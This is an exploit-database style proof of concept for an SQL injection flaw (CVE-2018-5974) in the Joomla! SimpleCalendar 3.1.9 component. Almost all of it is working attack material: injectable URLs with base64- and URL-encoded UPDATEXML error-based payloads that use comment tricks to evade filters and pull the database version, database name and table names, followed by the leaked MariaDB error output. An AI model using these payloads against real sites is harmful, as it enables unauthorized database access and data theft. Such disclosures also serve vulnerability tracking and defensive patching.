Joomla! Component SimpleCalendar 3.1.9 - SQL Injection

# # # #
# Exploit Title: Joomla! Component SimpleCalendar 3.1.9 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://albonico.ch/
# Software Link: http://software.albonico.ch/downloads/file/3-simplecalendar-3-1-9.html
# Version: 3.1.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5974
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_simplecalendar&view=events&catid[0]=[SQL]
#  
# JTI4JTU1JTUwJTQ0JTQxJTU0JTQ1JTU4JTRkJTRjJTI4JTMwJTJjJTJmJTJhJTIxJTMwJTMxJTMxJTMxJTMxJTQzJTRmJTRlJTQzJTQxJTU0JTJhJTJmJTI4MHgyZSUyYyU3NiU2NSU3MiU3MyU2OSU2ZiU2ZSUyOCUyOSUyYzB4N2U3ZTdlN2UlMmMlMjglNTMlNDUlNGMlNDUlNDMlNTQlMjAlMjglNDUlNGMlNTQlMjglMzYlMzYlM2QlMzYlMzYlMmMlMzElMjklMjklMjklMmMlNjQlNjElNzQlNjElNjIlNjElNzMlNjUlMjglMjklMjklMmMyOTI1JTI5JTI5
# 
# http://localhost/[PATH]/index.php?option=com_simplecalendar&view=events&catid[VerAyari]=[SQL]
# 
# KC8qITAyMjI1VVBEQVRFWE1MKi8oNjYsQ09OQ0FUKDB4M2EsKC8qITAyMjI1U0VMRUNUKi8rR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUrU0VQQVJBVE9SKzB4M2EpK0ZST00rSU5GT1JNQVRJT05fU0NIRU1BLlRBQkxFUysvKiEwMjIyNVdIRVJFKi8rVEFCTEVfU0NIRU1BPURBVEFCQVNFKCkpLChFTFQoMT0xLDEpKSksMSkp
# 
# # # #

http://localhost/Joomla375/index.php?option=com_simplecalendar&view=events&catid[VerAyari]=(/*!02225UPDATEXML*/(66,CONCAT(0x3a,(/*!02225SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3a)+FROM+INFORMATION_SCHEMA.TABLES+/*!02225WHERE*/+TABLE_SCHEMA=DATABASE()),(ELT(1=1,1))),1))

http://localhost/Joomla375/index.php?option=com_simplecalendar&view=events&catid[0]=%28%55%50%44%41%54%45%58%4d%4c%28%30%2c%2f%2a%21%30%31%31%31%31%43%4f%4e%43%41%54%2a%2f%280x2e%2c%76%65%72%73%69%6f%6e%28%29%2c0x7e7e7e7e%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%2c2925%29%29
 XPATH syntax error: '10.1.21-MariaDB~~~~1joomla375' XPATH syntax error: '10.1.21-MariaDB~~~~1joomla375'